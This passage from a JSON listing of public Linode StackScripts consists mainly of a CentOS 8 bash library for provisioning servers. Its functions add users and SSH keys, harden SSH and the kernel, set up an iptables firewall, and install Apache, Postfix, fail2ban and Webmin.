_PATH=\"$_PATH:$_LOCAL_PREFIX/bin:$_LOCAL_PREFIX/sbin\"\nfi\n_path=\"$(_sanitize_path \"$PATH\")\"\nPATH=\"$_PATH${_path:+:}$_path\" ; export PATH\nunset _sanitize_path _PREFIX _PKG_PREFIX _LOCAL_PREFIX _PATH _path\n\nfor arg; do\n case \"$arg\" in\n --nocolor|--nocolour|-C)\n EINFO_COLOR=\"NO\" ; export EINFO_COLOR\n ;;\n esac\ndone\n\nif [ -t 1 ] && yesno \"${EINFO_COLOR:-YES}\"; then\n if [ -z \"$GOOD\" ]; then\n eval $(eval_ecolors)\n fi\nelse\n # We need to have shell stub functions so our init scripts can remember\n # the last ecmd\n for _e in ebegin eend error errorn einfo einfon ewarn ewarnn ewend \\\n vebegin veend veinfo vewarn vewend; do\n eval \"$_e() { local _r; command $_e \\\"\\$@\\\"; _r=\\$?; \\\n EINFO_LASTCMD=$_e; export EINFO_LASTCMD ; return \\$_r; }\"\n done\n unset _e\nfi", "user_defined_fields": []}, {"id": 647176, "username": "sacredheartmedia", "user_gravatar_id": "4b40d1fa8bcb9d6414b6468fb2ef0e75", "label": "StackScript Bash Library for CentOS 8", "description": "A collection of useful bash functions specifically crafted for CentOS8 to be included in other bash StackScripts with a \"source \" line.\n\nThis StackScript does nothing on its own. Do not deploy directly.\n\nJune 3, 2020 - THIS STACKSCRIPT IS UNDER DEVELOPMENT.", "ordinal": 0, "logo_url": "", "images": ["linode/centos8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n# StackScript Bash Library for CentOS 8\n#\n# Inspired by Chris Aker''s StackScript Bash Library\n# https://cloud.linode.com/stackscripts/1\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, \n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice, this\n# list of conditions and the following disclaimer in the documentation and/or\n# other materials provided with the distribution.\n#\n# * Neither the name of Linode LLC nor the names of its contributors may be\n# used to endorse or promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n# SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n# DAMAGE.\n\nsystem_update() {\n # updates all packages and adds the epel repository\n dnf -y install epel-release\n dnf -y update\n dnf config-manager --set-enabled PowerTools\n}\n\ninstall_essentials() {\n # installs commonly used packages \n dnf -y install iptables-services ipset dnf-utils bind-utils policycoreutils-python-utils zip tar htop wget\n}\n\nget_primary_ip() {\n # returns the system''s primary IPv4 address\n hostname -I | cut -d '' '' -f 1\n}\n\nget_primary_ip6() {\n # returns the system''s primary IPv6 address\n hostname -I | cut -d '' '' -f 2\n}\n\nget_rdns() {\n # returns the reverse dns of an IPv4 address\n # ${1} - required - the IPv4 address to lookup\n local -r ip_address=\"${1}\"\n if [ -z \"${ip_address}\" ]; then\n printf \"ERROR: (get_rdns) IP address undefined\\n\"\n return 1;\n fi\n host \"${ip_address}\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nget_rdns_primary_ip() {\n # returns the reverse dns of the system''s primary IPv4 address\n host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nset_hostname() {\n # sets the system''s hostname\n # ${1} - required - the hostname to assign\n local -r hostname=\"${1}\"\n if [ -z \"${hostname}\" ]; then\n printf \"ERROR: (set_hostname) hostname undefined\\n\"\n return 1;\n fi\n hostnamectl set-hostname \"${hostname}\"\n}\n\nadd_host_entry() {\n # adds an entry to /etc/hosts\n # ${1} - required - the IP address to set a hosts entry for\n # ${2} - required - the fully-qualified domain name to set to the IP\n # ${3} - optional - the hostname to set to the IP\n local -r ip_address=\"${1}\"\n local -r fqdn=\"${2}\"\n local -r hostname=\"${3}\"\n local -r rdns=\"$(host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n if [ -z \"${ip_address}\" ] || [ -z \"${fqdn}\" ]; then\n printf \"ERROR: (add_host_entry) IP address and/or FQDN undefined\\n\"\n return 1;\n fi\n echo \"${ip_address} ${fqdn} ${rdns} ${hostname}\" >> /etc/hosts\n}\n\nset_timezone() {\n # sets the system''s timezone\n # ${1} - optional - timezone to set on the system\n local -r timezone=\"${1}\"\n if [ -z \"${timezone}\" ]; then\n timedatectl set-timezone \"UTC\"\n return 1;\n fi\n timedatectl set-timezone \"${timezone}\"\n}\n\nadd_user() {\n # creates a new user \n # ${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR: (add_user) username and/or password undefined\\n\"\n return 1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_user) user already exists\\n\"\n return 1;\n fi\n useradd \"${username}\"\n echo \"${username}:${password}\" | chpasswd\n}\n\nadd_sudo_user() {\n # creates a new user with sudo privileges\n # ${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR: (add_sudo_user) username and/or password undefined\\n\"\n return 1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_sudo_user) user already exists\\n\"\n return 1;\n fi\n useradd \"${username}\"\n echo \"${username}:${password}\" | chpasswd\n usermod -aG wheel \"${username}\"\n}\n\nremove_user() {\n # removes a user \n # ${1} - required - username\n local -r username=\"${1}\"\n if [ -z \"${username}\" ]; then\n printf \"ERROR: (remove_user) username undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (remove_user) user not found\\n\"\n return 1;\n fi\n killall -KILL -u \"${username}\"\n userdel -Z -r -f \"${username}\"\n}\n\nadd_public_key() {\n # adds a public key to authorized_keys for the specified user\n # ${1} - required - username\n # ${2} - required - public key\n local -r username=\"${1}\"\n local -r public_key=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${public_key}\" ]; then\n printf \"ERROR: (add_public_key) username and/or public key undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key) user not found\\n\"\n return 1;\n fi\n if [ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch /home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown -R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600 /home/\"${username}\"/.ssh/authorized_keys\n}\n\nadd_public_key_from_github() {\n # adds public keys from a github account to authorized_keys for the specified user\n # ${1} - required - username\n # ${2} - required - github account\n local -r username=\"${1}\"\n local -r github_account=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${github_account}\" ]; then\n printf \"ERROR: (add_public_key_from_github) username and/or github account undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key_from_github) user not found\\n\"\n return 1;\n fi\n local -r public_key=\"$(curl -sSL https://github.com/\"${github_account}\".keys)\"\n if [ \"${public_key}\" == \"Not Found\" ]; then\n printf \"ERROR: (add_public_key_from_github) %s.keys not found\\n\" \"${github_account}\"\n return 1;\n fi\n if [ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch /home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown -R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600 /home/\"${username}\"/.ssh/authorized_keys\n}\n\ndisable_root_login() {\n # disables root SSH access\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_root_login() {\n # enables root SSH access (with a key only)\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin prohibit-password/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\ndisable_password_authentication() {\n # disables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_password_authentication() {\n # enables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication yes/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nget_ssh_port() {\n # returns the system''s SSH port number\n sed -n -e ''s/Port //p'' /etc/ssh/sshd_config\n}\n\nset_ssh_port() {\n # reassigns the SSH port number \n # ${1} - required - SSH port\n local -r ssh_port=\"${1}\"\n if [ -z \"${ssh_port}\" ]; then\n printf \"ERROR: (set_ssh_port) SSH port undefined\\n\"\n return 1;\n fi\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*Port [0-9]*/Port ${ssh_port}/i\" /etc/ssh/sshd_config\n if [ ${ssh_port} != \"22\" ]; then\n semanage port -a -t ssh_port_t -p tcp \"${ssh_port}\"\n fi\n systemctl restart sshd\n}\n\nharden_ssh() {\n # hardens ssh by tweaking default configuration\n # SEE: https://www.sshaudit.com/hardening_guides.html#rhel8\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*AddressFamily [a-z]*/AddressFamily inet/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*StrictModes [a-z]*/StrictModes yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxAuthTries [0-9]*/MaxAuthTries 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PubkeyAuthentication [a-z]*/PubkeyAuthentication yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*HostbasedAuthentication [a-z]*/HostbasedAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ChallengeResponseAuthentication [a-z]*/ChallengeResponseAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*GSSAPIAuthentication [a-z]*/GSSAPIAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*AllowAgentForwarding [a-z]*/AllowAgentForwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*AllowTcpForwarding [a-z]*/AllowTcpForwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitTunnel [a-z]*/PermitTunnel no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*X11Forwarding [a-z]*/X11Forwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*TCPKeepAlive [a-z]*/TCPKeepAlive no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*IgnoreRhosts [a-z]*/IgnoreRhosts yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitEmptyPasswords [a-z]*/PermitEmptyPasswords no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*UsePAM [a-z]*/UsePAM no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*UseDNS [a-z]*/UseDNS no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ClientAliveInterval [0-9]*/ClientAliveInterval 300/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ClientAliveCountMax [0-9]*/ClientAliveCountMax 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxSessions [0-9]*/MaxSessions 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*LoginGraceTime [0-9a-z]*/LoginGraceTime 30/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*LogLevel [a-z]*/LogLevel VERBOSE/i\" /etc/ssh/sshd_config\n # disables the ECDSA host key\n sed -i -e \"s/^HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key$/\\#HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key/g\" /etc/ssh/sshd_config\n # regenerates the RSA and ED25519 keys\n rm -f /etc/ssh/ssh_host_*\n ssh-keygen -t rsa -b 4096 -f /etc/ssh/ssh_host_rsa_key -N \"\"\n ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key -N \"\"\n chgrp ssh_keys /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n chmod g+r /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n # removes the small Diffie-Hellman moduli\n awk ''$5 >= 3071'' /etc/ssh/moduli > /etc/ssh/moduli.safe\n mv -f /etc/ssh/moduli.safe /etc/ssh/moduli\n # restricts supported key exchange, cipher, and MAC algorithms\n cp -n /etc/crypto-policies/back-ends/opensshserver.config /etc/crypto-policies/back-ends/opensshserver.config.orig\n echo -e \"CRYPTO_POLICY=''-oCiphers=chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr -oMACs=hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com -oGSSAPIKexAlgorithms=gss-curve25519-sha256- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256 -oHostKeyAlgorithms=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com''\" > /etc/crypto-policies/back-ends/opensshserver.config\n systemctl restart sshd\n}\n\nharden_kernel() {\n cp -n /etc/security/limits.conf /etc/security/limits.conf.orig\n echo ''* hard core 0'' >> /etc/security/limits.conf\n cat < /etc/sysctl.d/sysctl.conf\nkernel.dmesg_restrict = 1\nkernel.kptr_restrict = 1\nkernel.panic = 30\nkernel.yama.ptrace_scope = 1\nnet.ipv4.conf.all.accept_redirects = 0\nnet.ipv4.conf.all.arp_announce = 2\nnet.ipv4.conf.all.arp_ignore = 1\nnet.ipv4.conf.all.log_martians = 1\nnet.ipv4.conf.all.proxy_arp = 0\nnet.ipv4.conf.default.accept_redirects = 0\nnet.ipv4.conf.default.accept_source_route = 0\nnet.ipv4.conf.default.log_martians = 1\nnet.ipv4.conf.default.rp_filter = 1\nnet.ipv4.conf.default.secure_redirects = 0\nnet.ipv4.conf.default.send_redirects = 0\nnet.ipv4.tcp_max_syn_backlog = 4096\nnet.ipv4.tcp_rfc1337 = 1\nnet.ipv4.tcp_syn_retries = 3\nnet.ipv4.tcp_synack_retries = 3\nnet.ipv6.conf.all.accept_redirects = 0\nnet.ipv6.conf.default.accept_ra_defrtr = 0\nnet.ipv6.conf.default.accept_ra_pinfo = 0\nnet.ipv6.conf.default.accept_ra_rtr_pref = 0\nnet.ipv6.conf.default.accept_redirects = 0\nnet.ipv6.conf.default.accept_source_route = 0\nnet.ipv6.conf.default.autoconf = 0\nnet.ipv6.conf.default.dad_transmits = 0\nnet.ipv6.conf.default.max_addresses = 1\nnet.ipv6.conf.default.router_solicitations = 0\nEOT\n sysctl -p\n}\n\nharden_system() {\n echo \"root\" > /etc/cron.allow\n echo \"ALL : ALL\" > /etc/hosts.deny\n cat < /etc/hosts.allow\nALL : LOCAL\nALL : 192.168.\nALL : 127.0.\nsshd : ALL\nEOT\n chmod 600 /etc/hosts.deny\n chmod 600 /etc/hosts.allow\n chmod 600 /etc/cron.allow\n rm -f /etc/cron.deny\n chmod -R 700 /root\n userdel -Z -r -f adm\n userdel -Z -r -f ftp\n userdel -Z -r -f games\n userdel -Z -r -f lp\n rmdir /usr/games\n rmdir /usr/local/games\n rmdir /var/adm\n rmdir /var/ftp\n rmdir /var/games\n rmdir /var/gopher\n systemctl stop kdump\n systemctl disable kdump\n systemctl mask kdump\n systemctl mask ctrl-alt-del.target\n cat <> /etc/modprobe.d/hardening.conf\nblacklist usb-storage\nblacklist firewire-core\ninstall usb-storage /bin/true\ninstall sctp /bin/true\ninstall dccp /bin/true\ninstall cramfs /bin/true\ninstall freevxfs /bin/true\ninstall jffs2 /bin/true\ninstall hfs /bin/true\ninstall hfsplus /bin/true\ninstall squashfs /bin/true\ninstall udf /bin/true\ninstall cifs /bin/true\ninstall nfs /bin/true\ninstall nfsv3 /bin/true\ninstall nfsv4 /bin/true\ninstall gfs2 /bin/true\ninstall bnep /bin/true\ninstall bluetooth /bin/true\ninstall btusb /bin/true\ninstall net-pf-31 /bin/true\ninstall appletalk /bin/true\ninstall rds /bin/true\ninstall tipc /bin/true\nEOT\n}\n\ndisable_ip6() {\n cat <> /etc/sysctl.d/sysctl.conf\nnet.ipv6.conf.all.disable_ipv6 = 1\nnet.ipv6.conf.default.disable_ipv6 = 1\nnet.ipv6.conf.lo.disable_ipv6 = 1\nEOT\n sysctl -p\n echo \"options ipv6 disable=1\" >> /etc/modprobe.d/hardening.conf\n echo \"NETWORKING_IPV6=no\" >> /etc/sysconfig/network\n echo \"IPV6INIT=no\" >> /etc/sysconfig/network\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables --policy FORWARD DROP\n ip6tables --policy OUTPUT DROP\n service ip6tables save\n systemctl restart ip6tables\n}\n\nopen_port() {\n # ${1} - required - IPv4 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n}\n\nopen_ip6_port() {\n # ${1} - required - IPv6 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n}\n\nopen_udp_port() {\n # ${1} - required - IPv4 UDP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n}\n\nopen_ip6_udp_port() {\n # ${1} - required - IPv6 UDP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n}\n\nadd_port() {\n # opens a port in the firewall\n # ${1} - required - IP standard (ipv4/ipv6)\n # ${2} - required - port #\n # ${3} - required - protocol (tcp/udp)\n local -r standard=\"${1}\"\n local -r port=\"${2}\"\n local -r protocol=\"${3}\"\n if [ -z \"${standard}\" ] || [ -z \"${port}\" ] || [ -z \"${protocol}\" ]; then\n printf \"ERROR: (add_port) missing argument - ipv4/ipv6, port #, tcp/udp\\n\"\n return 1;\n fi\n if [ \"${standard}\" == ''ipv4'' ]; then\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p \"${protocol}\" -m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n elif [ \"${standard}\" == ''ipv6'' ]; then\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p \"${protocol}\" -m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n fi\n}\n\nconfigure_basic_firewall() {\n # removes firewalld and creates a simple iptables firewall\n # accepts pings and SSH connections only\n systemctl stop firewalld\n dnf -y remove firewalld\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n iptables -F\n iptables --policy INPUT DROP\n iptables --policy FORWARD DROP\n iptables --policy OUTPUT ACCEPT\n iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n iptables -A INPUT -i lo -j ACCEPT\n iptables -A INPUT -p icmp -j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"$(sed -n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables --policy FORWARD DROP\n ip6tables --policy OUTPUT ACCEPT\n ip6tables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n ip6tables -A INPUT -i lo -j ACCEPT\n ip6tables -A INPUT -p ipv6-icmp -j ACCEPT\n service ip6tables save\n systemctl enable iptables\n systemctl enable ip6tables\n systemctl restart iptables\n systemctl restart ip6tables\n}\n\ninstall_apache() {\n # installs an apache server with a simple configuration and SSL certificate\n # ${1} - optional - the fully-qualified domain name to be used for the SSL certificate\n if [ -z \"${1}\" ]; then\n local -r fqdn=\"$(host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n else\n local -r fqdn=\"${1}\"\n fi\n dnf -y install httpd mod_ssl certbot python3-certbot-apache\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n ip6tables -A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n cat < /etc/httpd/conf.d/vhosts.conf\n\n ServerName ${fqdn}\n \n Options None\n AllowOverride none\n Require all granted\n \n\nEOT\n systemctl enable httpd\n systemctl restart httpd\n cp -n /etc/httpd/conf.d/ssl.conf /etc/httpd/conf.d/ssl.conf.orig\n certbot --apache --noninteractive --agree-tos --register-unsafely-without-email -d \"${fqdn}\" -w /var/www/html/\n local -r certificatefile=\"$(sed -n -e ''s/SSLCertificateFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n local -r certificatekeyfile=\"$(sed -n -e ''s/SSLCertificateKeyFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n cp -n /etc/httpd/conf.d/vhosts-le-ssl.conf /etc/httpd/conf.d/vhosts-le-ssl.conf.original\n rm -f /etc/httpd/conf.d/vhosts-le-ssl.conf\n if [ -n \"${certificatefile}\" ] && [ -n \"${certificatekeyfile}\" ]; then\n sed -i -e \"s#SSLCertificateFile .*#SSLCertificateFile ${certificatefile}#i\" /etc/httpd/conf.d/ssl.conf\n sed -i -e \"s#SSLCertificateKeyFile .*#SSLCertificateKeyFile ${certificatekeyfile}#i\" /etc/httpd/conf.d/ssl.conf\n fi\n systemctl restart httpd\n}\n\ninstall_postfix() {\n # installs postfix and enables local mail delivery and loopback only\n dnf -y install postfix\n cp -n /etc/postfix/main.cf /etc/postfix/main.cf.orig\n sed -i -e \"s/[# \\t]*inet_protocols = .*/inet_protocols = ipv4/i\" /etc/postfix/main.cf\n sed -i -e \"s/[# \\t]*smtpd_banner =.*/smtpd_banner = \\$myhostname ESMTP/i\" /etc/postfix/main.cf\n systemctl enable postfix\n systemctl restart postfix\n}\n\ninstall_fail2ban() {\n # installs fail2ban-server with a simple configuration\n local -r ssh_port=\"$(sed -n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\"\n dnf -y install fail2ban-server\n cat < /etc/fail2ban/jail.local\n[DEFAULT] \nbantime = 3600\nfindtime = 300\nmaxretry = 5\nbanaction = iptables-multiport\nbackend = systemd\n\n[sshd]\nenabled = true\nport = ${ssh_port}\nEOT\n systemctl enable fail2ban\n systemctl start fail2ban\n}\n\ninstall_webmin() {\n # installs webmin with a simple configuration\n cat < /etc/yum.repos.d/webmin.repo\n[Webmin]\nname=Webmin Distribution Neutral\nbaseurl=https://download.webmin.com/download/yum\nenabled=1\ngpgcheck=1\ngpgkey=https://download.webmin.com/jcameron-key.asc\nEOT\n dnf -y install webmin\n sed -i \"s/ipv6=1/ipv6=0/i\" /etc/webmin/miniserv.conf\n if [ -e \"/etc/httpd/conf.d/ssl.conf\" ]; then\n local -r certfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n local -r keyfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateKeyFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n echo \"#keyfile=${keyfile}\" >> /etc/webmin/miniserv.conf\n echo \"#certfile=${certfile}\" >> /etc/webmin/miniserv.conf\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"10000\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n if (ss -tulpn) | grep ''miniserv''; then\n killall -9 miniserv.pl\n fi\n service webmin start\n chkconfig webmin on\n}\n\ndisable_selinux() {\n # relaxes selinux but still logs errors\n setenforce permissive\n sed -i \"s/=enforcing/=permissive/i\" \"/etc/selinux/config\"\n}\n\n\n#### STACKSCRIPT COMPATIBILITY FUNCTIONS\n\nsystem_install_basics() {\n install_essentials\n}\n\nsystem_primary_ip() {\n get_primary_ip\n}\n\nsystem_primary_ip6() {\n get_primary_ip6\n}\n\nsystem_set_hostname() {\n set_hostname \"${1}\"\n}\n\nsystem_add_host_entry() {\n add_host_entry \"${1}\" \"${2}\" \"${3}\"\n}\n\nsystem_set_timezone() {\n set_timezone \"${1}\"\n}\n\nuser_add_sudo() {\n add_sudo_user \"${1}\" \"${2}\"\n}\n\nuser_add_pubkey() {\n add_public_key \"${1}\" \"${2}\"\n}\n\nssh_disable_root() {\n disable_root_login\n disable_password_authentication\n}\n\npostfix_install_loopback_only() {\n install_postfix\n}\n\nenable_fail2ban() {\n install_fail2ban\n}\n\napache_install() {\n install_apache \"${1}\"\n}\n", "user_defined_fields": []}, {"id": 1119241, "username": "cecillysander", "user_gravatar_id": "b18e5b184afa0a761c23041172947c74", "label": "ccc", "description": "ccccc", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\r\necho "hello"", "user_defined_fields": []}, {"id": 662025, "username": "half5064", "user_gravatar_id": "e76358653afa8908f167511e8379bd1c", "label": "reboot", "description": "reboot", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": 